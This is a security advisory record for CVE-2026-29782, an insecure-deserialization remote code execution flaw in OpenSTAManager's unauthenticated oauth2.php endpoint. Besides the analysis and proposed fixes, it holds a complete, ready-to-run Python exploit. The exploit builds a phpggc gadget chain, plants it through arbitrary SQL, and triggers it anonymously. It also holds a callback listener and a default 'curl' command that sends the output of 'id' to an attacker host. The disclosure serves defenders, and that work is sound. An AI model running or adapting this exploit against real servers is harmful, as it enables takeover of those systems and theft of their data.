{"id":"CVE-2026-29782","aliases":["GHSA-whv5-4q2f-q68g"],"url":"https://o3.security/vulnerability/CVE-2026-29782","summary":"OpenSTAManager: Remote Code Execution via Insecure Deserialization in OAuth2","details":"## Description\n\nThe `oauth2.php` file in OpenSTAManager is an **unauthenticated** endpoint (`$skip_permissions = true`). It loads a record from the `zz_oauth2` table using the attacker-controlled GET parameter `state`, and during the OAuth2 configuration flow calls `unserialize()` on the `access_token` field **without any class restriction**.\n\nAn attacker who can write to the `zz_oauth2` table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in [GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the `www-data` user.\n\n## Affected code\n\n### Entry point — `oauth2.php`\n\n```php\n$skip_permissions = true;                              // Line 23: NO AUTHENTICATION\ninclude_once __DIR__.'/core.php';\n\n$state = $_GET['state'];                               // Line 28: attacker-controlled\n$code = $_GET['code'];\n\n$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record\n$response = $account->configure($code, $state);          // Line 51: triggers the chain\n```\n\n### Deserialization — `src/Models/OAuth2.php`\n\n```php\n// Line 193 (checkTokens):\n$access_token = $this->access_token ? unserialize($this->access_token) : null;\n\n// Line 151 (getAccessToken):\nreturn $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;\n```\n\n`unserialize()` is called without the `allowed_classes` parameter, allowing instantiation of any class loaded by the Composer autoloader.\n\n## Execution flow\n\n```\noauth2.php (no auth)\n  → configure()\n    → needsConfiguration()\n      → getAccessToken()\n        → checkTokens()\n          → unserialize($this->access_token)   ← attacker payload\n            → Creates PendingBroadcast object (Laravel/RCE22 gadget chain)\n          → $access_token->hasExpired()         ← PendingBroadcast lacks this method → PHP Error\n        → During error cleanup:\n          → PendingBroadcast.__destruct()       ← fires during shutdown\n            → system($command)                  ← RCE\n```\n\nThe HTTP response is 500 (due to the `hasExpired()` error), but the command has already executed via `__destruct()` during error cleanup.\n\n## Full attack chain\n\nThis vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module ([GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) to achieve unauthenticated RCE:\n\n1. **Payload injection** (requires admin account): Via `op=risolvi-conflitti-database`, arbitrary SQL is executed to insert a malicious serialized object into `zz_oauth2.access_token`\n2. **RCE trigger** (unauthenticated): A GET request to `oauth2.php?state=<known_value>&code=x` triggers the deserialization and executes the command\n\n**Persistence note**: The `risolvi-conflitti-database` handler ends with `exit;` (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (`CREATE TABLE`/`DROP TABLE`) are included to force an implicit MySQL commit.\n\n## Gadget chain\n\nThe chain used is **Laravel/RCE22** (available in [phpggc](https://github.com/ambionics/phpggc)), which exploits classes from the Laravel framework present in the project's dependencies:\n\n```\nPendingBroadcast.__destruct()\n  → $this->events->dispatch($this->event)\n  → chain of __call() / __invoke()\n  → system($command)\n```\n\n## Proof of Concept\n\n### Execution\n\n**Terminal 1** — Attacker listener:\n```bash\npython3 listener.py --port 9999\n```\n\n**Terminal 2** — Exploit:\n```bash\npython3 exploit.py \\\n  --target http://localhost:8888 \\\n  --callback http://host.docker.internal:9999 \\\n  --user admin --password <password>\n```\n<img width=\"638\" height=\"722\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e949b641-7986-44b9-acbf-1c5dd0f7ef1f\" />\n\n### Observed result\n\n**Listener receives:**\n<img width=\"683\" height=\"286\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89a78f7e-5f23-435d-97ec-d74ac905cdc1\" />\nThe `id` command was executed on the server as `www-data`, confirming RCE.\n\n### HTTP requests from the exploit\n\n**Step 4 — Injection (authenticated):**\n```\nPOST /actions.php HTTP/1.1\nCookie: PHPSESSID=<session>\nContent-Type: application/x-www-form-urlencoded\n\nop=risolvi-conflitti-database&id_module=6&queries=[\"DELETE FROM zz_oauth2 WHERE state='poc-xxx'\",\"INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\\\\\Emails\\\\\\\\OAuth2\\\\\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)\",\"CREATE TABLE IF NOT EXISTS _t(i INT)\",\"DROP TABLE IF EXISTS _t\"]\n```\n\n**Step 5 — Trigger (NO authentication):**\n```\nGET /oauth2.php?state=poc-xxx&code=x HTTP/1.1\n\n(No cookies — completely anonymous request)\n```\n\n**Response:** HTTP 500 (expected — the error occurs after `__destruct()` has already executed the command)\n\n### Exploit — `exploit.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nOpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization)\n\nUsage:\n  python3 listener.py --port 9999\n  python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234\n\"\"\"\n\nimport argparse\nimport json\nimport random\nimport re\nimport string\nimport subprocess\nimport sys\nimport time\n\ntry:\n    import requests\nexcept ImportError:\n    print(\"[!] pip install requests\")\n    sys.exit(1)\n\nRED = \"\\033[91m\"\nGREEN = \"\\033[92m\"\nYELLOW = \"\\033[93m\"\nBLUE = \"\\033[94m\"\nBOLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\nRESET = \"\\033[0m\"\n\nBANNER = f\"\"\"\n  {RED}{'=' * 58}{RESET}\n  {RED}{BOLD}  OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET}\n  {RED}{BOLD}  Arbitrary SQL → Insecure Deserialization{RESET}\n  {RED}{'=' * 58}{RESET}\n\"\"\"\n\n\ndef log(msg, status=\"*\"):\n    icons = {\"*\": f\"{BLUE}*{RESET}\", \"+\": f\"{GREEN}+{RESET}\", \"-\": f\"{RED}-{RESET}\", \"!\": f\"{YELLOW}!{RESET}\"}\n    print(f\"  [{icons.get(status, '*')}] {msg}\")\n\n\ndef step_header(num, title):\n    print(f\"\\n  {BOLD}── Step {num}: {title} ──{RESET}\\n\")\n\n\ndef generate_payload(container, command):\n    step_header(1, \"Generate Gadget Chain Payload\")\n\n    log(\"Checking phpggc in container...\")\n    result = subprocess.run([\"docker\", \"exec\", container, \"test\", \"-f\", \"/tmp/phpggc/phpggc\"], capture_output=True)\n    if result.returncode != 0:\n        log(\"Installing phpggc...\", \"!\")\n        proc = subprocess.run(\n            [\"docker\", \"exec\", container, \"git\", \"clone\", \"https://github.com/ambionics/phpggc\", \"/tmp/phpggc\"],\n            capture_output=True, text=True,\n        )\n        if proc.returncode != 0:\n            log(f\"Failed to install phpggc: {proc.stderr}\", \"-\")\n            sys.exit(1)\n\n    log(f\"Command: {DIM}{command}{RESET}\")\n\n    result = subprocess.run(\n        [\"docker\", \"exec\", container, \"php\", \"/tmp/phpggc/phpggc\", \"Laravel/RCE22\", \"system\", command],\n        capture_output=True,\n    )\n    if result.returncode != 0:\n        log(f\"phpggc failed: {result.stderr.decode()}\", \"-\")\n        sys.exit(1)\n\n    payload_bytes = result.stdout\n    log(f\"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}\", \"+\")\n    return payload_bytes\n\n\ndef authenticate(target, username, password):\n    step_header(2, \"Authenticate\")\n    session = requests.Session()\n    log(f\"Logging in as '{username}'...\")\n\n    resp = session.post(\n        f\"{target}/index.php\",\n        data={\"op\": \"login\", \"username\": username, \"password\": password},\n        allow_redirects=False, timeout=10,\n    )\n\n    location = resp.headers.get(\"Location\", \"\")\n    if resp.status_code != 302 or \"index.php\" in location:\n        log(\"Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).\", \"-\")\n        sys.exit(1)\n\n    session.get(f\"{target}{location}\", timeout=10)\n    log(\"Authenticated\", \"+\")\n    return session\n\n\ndef find_module_id(session, target, container):\n    step_header(3, \"Find 'Aggiornamenti' Module ID\")\n    log(\"Searching navigation sidebar...\")\n    resp = session.get(f\"{target}/controller.php\", timeout=10)\n\n    for match in re.finditer(r'id_module=(\\d+)', resp.text):\n        snippet = resp.text[match.start():match.start() + 300]\n        if re.search(r'[Aa]ggiornamenti', snippet):\n            module_id = int(match.group(1))\n            log(f\"Module ID: {BOLD}{module_id}{RESET}\", \"+\")\n            return module_id\n\n    log(\"Not found in sidebar, querying database...\", \"!\")\n    result = subprocess.run(\n        [\"docker\", \"exec\", container, \"php\", \"-r\",\n         \"require '/var/www/html/config.inc.php'; \"\n         \"$pdo = new PDO('mysql:host='.$db_host.';dbname='.$db_name, $db_username, $db_password); \"\n         \"echo $pdo->query(\\\"SELECT id FROM zz_modules WHERE name='Aggiornamenti'\\\")->fetchColumn();\"],\n        capture_output=True, text=True,\n    )\n    if result.stdout.strip().isdigit():\n        module_id = int(result.stdout.strip())\n        log(f\"Module ID: {BOLD}{module_id}{RESET}\", \"+\")\n        return module_id\n\n    log(\"Could not find module ID\", \"-\")\n    sys.exit(1)\n\n\ndef inject_payload(session, target, module_id, payload_bytes, state_value):\n    step_header(4, \"Inject Payload via Arbitrary SQL\")\n\n    hex_payload = payload_bytes.hex()\n    record_id = random.randint(90000, 99999)\n\n    queries = [\n        f\"DELETE FROM zz_oauth2 WHERE id={record_id} OR state='{state_value}'\",\n        f\"INSERT INTO zz_oauth2 \"\n        f\"(id, name, class, client_id, client_secret, config, \"\n        f\"state, access_token, after_configuration, is_login, enabled) VALUES \"\n        f\"({record_id}, 'poc', 'Modules\\\\\\\\Emails\\\\\\\\OAuth2\\\\\\\\Google', \"\n        f\"'x', 'x', '{{}}', '{state_value}', 0x{hex_payload}, '', 0, 1)\",\n        \"CREATE TABLE IF NOT EXISTS _poc_ddl_commit (i INT)\",\n        \"DROP TABLE IF EXISTS _poc_ddl_commit\",\n    ]\n\n    log(f\"State trigger: {BOLD}{state_value}{RESET}\")\n    log(f\"Payload: {len(hex_payload)//2} bytes ({len(hex_payload)} hex)\")\n    log(\"Sending to actions.php...\")\n\n    resp = session.post(\n        f\"{target}/actions.php\",\n        data={\"op\": \"risolvi-conflitti-database\", \"id_module\": str(module_id), \"id_record\": \"\", \"queries\": json.dumps(queries)},\n        timeout=15,\n    )\n\n    try:\n        result = json.loads(resp.text)\n        if result.get(\"success\"):\n            log(\"Payload planted in zz_oauth2.access_token\", \"+\")\n            return True\n        else:\n            log(f\"Injection failed: {result.get('message', '?')}\", \"-\")\n            return False\n    except json.JSONDecodeError:\n        log(f\"Unexpected response (HTTP {resp.status_code}): {resp.text[:200]}\", \"-\")\n        return False\n\n\ndef trigger_rce(target, state_value):\n    step_header(5, \"Trigger RCE (NO AUTHENTICATION)\")\n\n    url = f\"{target}/oauth2.php\"\n    log(f\"GET {url}?state={state_value}&code=x\")\n    log(f\"{DIM}(This request is UNAUTHENTICATED){RESET}\")\n\n    try:\n        resp = requests.get(url, params={\"state\": state_value, \"code\": \"x\"}, allow_redirects=False, timeout=15)\n        log(f\"HTTP {resp.status_code}\", \"+\")\n        if resp.status_code == 500:\n            log(f\"{DIM}500 expected: __destruct() fires the gadget chain before error handling{RESET}\")\n    except requests.exceptions.Timeout:\n        log(\"Timed out (command may still have executed)\", \"!\")\n    except requests.exceptions.ConnectionError as e:\n        log(f\"Connection error: {e}\", \"-\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"OpenSTAManager v2.10.1 — RCE PoC\")\n    parser.add_argument(\"--target\", required=True, help=\"Target URL\")\n    parser.add_argument(\"--callback\", required=True, help=\"Attacker listener URL reachable from the container\")\n    parser.add_argument(\"--user\", default=\"admin\", help=\"Username (default: admin)\")\n    parser.add_argument(\"--password\", required=True, help=\"Password\")\n    parser.add_argument(\"--container\", default=\"osm-web\", help=\"Docker web container (default: osm-web)\")\n    parser.add_argument(\"--command\", help=\"Custom command (default: curl callback with id output)\")\n    args = parser.parse_args()\n\n    print(BANNER)\n\n    target = args.target.rstrip(\"/\")\n    callback = args.callback.rstrip(\"/\")\n    state_value = \"poc-\" + \"\".join(random.choices(string.ascii_lowercase + string.digits, k=12))\n    command = args.command or f\"curl -s {callback}/rce-$(id|base64 -w0)\"\n\n    payload = generate_payload(args.container, command)\n    session = authenticate(target, args.user, args.password)\n    module_id = find_module_id(session, target, args.container)\n\n    if not inject_payload(session, target, module_id, payload, state_value):\n        log(\"Exploit failed at injection step\", \"-\")\n        sys.exit(1)\n\n    time.sleep(1)\n    trigger_rce(target, state_value)\n\n    print(f\"\\n  {BOLD}── Result ──{RESET}\\n\")\n    log(\"Exploit complete. Check your listener for the callback.\", \"+\")\n    log(\"Expected: GET /rce-<base64(id)>\")\n    log(f\"If no callback, verify the container can reach: {callback}\", \"!\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Listener — `listener.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"OpenSTAManager v2.10.1 — RCE Callback Listener\"\"\"\n\nimport argparse\nimport base64\nimport sys\nfrom datetime import datetime\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nRED = \"\\033[91m\"\nGREEN = \"\\033[92m\"\nYELLOW = \"\\033[93m\"\nBLUE = \"\\033[94m\"\nBOLD = \"\\033[1m\"\nRESET = \"\\033[0m\"\n\n\nclass CallbackHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        ts = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n        print(f\"\\n  {RED}{'=' * 58}{RESET}\")\n        print(f\"  {RED}{BOLD}  RCE CALLBACK RECEIVED{RESET}\")\n        print(f\"  {RED}{'=' * 58}{RESET}\")\n        print(f\"  {GREEN}[+]{RESET} Time : {ts}\")\n        print(f\"  {GREEN}[+]{RESET} From : {self.client_address[0]}:{self.client_address[1]}\")\n        print(f\"  {GREEN}[+]{RESET} Path : {self.path}\")\n\n        for part in self.path.lstrip(\"/\").split(\"/\"):\n            if part.startswith(\"rce-\"):\n                try:\n                    decoded = base64.b64decode(part[4:]).decode(\"utf-8\", errors=\"replace\")\n                    print(f\"  {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}\")\n                except Exception:\n                    print(f\"  {YELLOW}[!]{RESET} Raw : {part[4:]}\")\n\n        print(f\"  {RED}{'=' * 58}{RESET}\\n\")\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(b\"OK\")\n\n    def do_POST(self):\n        self.do_GET()\n\n    def log_message(self, format, *args):\n        pass\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"RCE callback listener\")\n    parser.add_argument(\"--port\", type=int, default=9999, help=\"Listen port (default: 9999)\")\n    args = parser.parse_args()\n\n    server = HTTPServer((\"0.0.0.0\", args.port), CallbackHandler)\n    print(f\"\\n  {BLUE}{'=' * 58}{RESET}\")\n    print(f\"  {BLUE}{BOLD}  OpenSTAManager v2.10.1 — RCE Callback Listener{RESET}\")\n    print(f\"  {BLUE}{'=' * 58}{RESET}\")\n    print(f\"  {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}\")\n    print(f\"  {YELLOW}[!]{RESET} Waiting for callback...\\n\")\n\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(f\"\\n  {YELLOW}[!]{RESET} Stopped.\")\n        sys.exit(0)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Impact\n\n- **Confidentiality**: Read server files, database credentials, API keys\n- **Integrity**: Write files, install backdoors, modify application code\n- **Availability**: Delete files, denial of service\n- **Scope**: Command execution as `www-data` allows pivoting to other systems on the network\n\n## Proposed remediation\n\n### Option A: Restrict `unserialize()` (recommended)\n\n```php\n// src/Models/OAuth2.php — checkTokens() and getAccessToken()\n$access_token = $this->access_token\n    ? unserialize($this->access_token, ['allowed_classes' => [AccessToken::class]])\n    : null;\n```\n\n### Option B: Use safe serialization\n\nReplace `serialize()`/`unserialize()` with `json_encode()`/`json_decode()` for storing OAuth2 tokens.\n\n### Option C: Authenticate `oauth2.php`\n\nRemove `$skip_permissions = true` and require authentication for the OAuth2 callback endpoint, or validate the `state` parameter against a value stored in the user's session.\n\n## Credits\nOmar Ramirez","published":"2026-04-02T13:42:25.134Z","modified":"2026-08-12T03:51:11.509193150Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"devcode-it/openstamanager","fixedVersion":"2.10.2"}],"fix":{"url":"https://github.com/devcode-it/openstamanager/commit/d2e38cbdf91a831cefc0da1548e02b297ae644cc","label":"devcode-it/openstamanager@d2e38cb"},"references":[{"type":"WEB","url":"https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29782.json"},{"type":"ADVISORY","url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-whv5-4q2f-q68g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29782"},{"type":"FIX","url":"https://github.com/devcode-it/openstamanager/commit/d2e38cbdf91a831cefc0da1548e02b297ae644cc"},{"type":"PACKAGE","url":"https://github.com/devcode-it/openstamanager"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.509193150Z"}}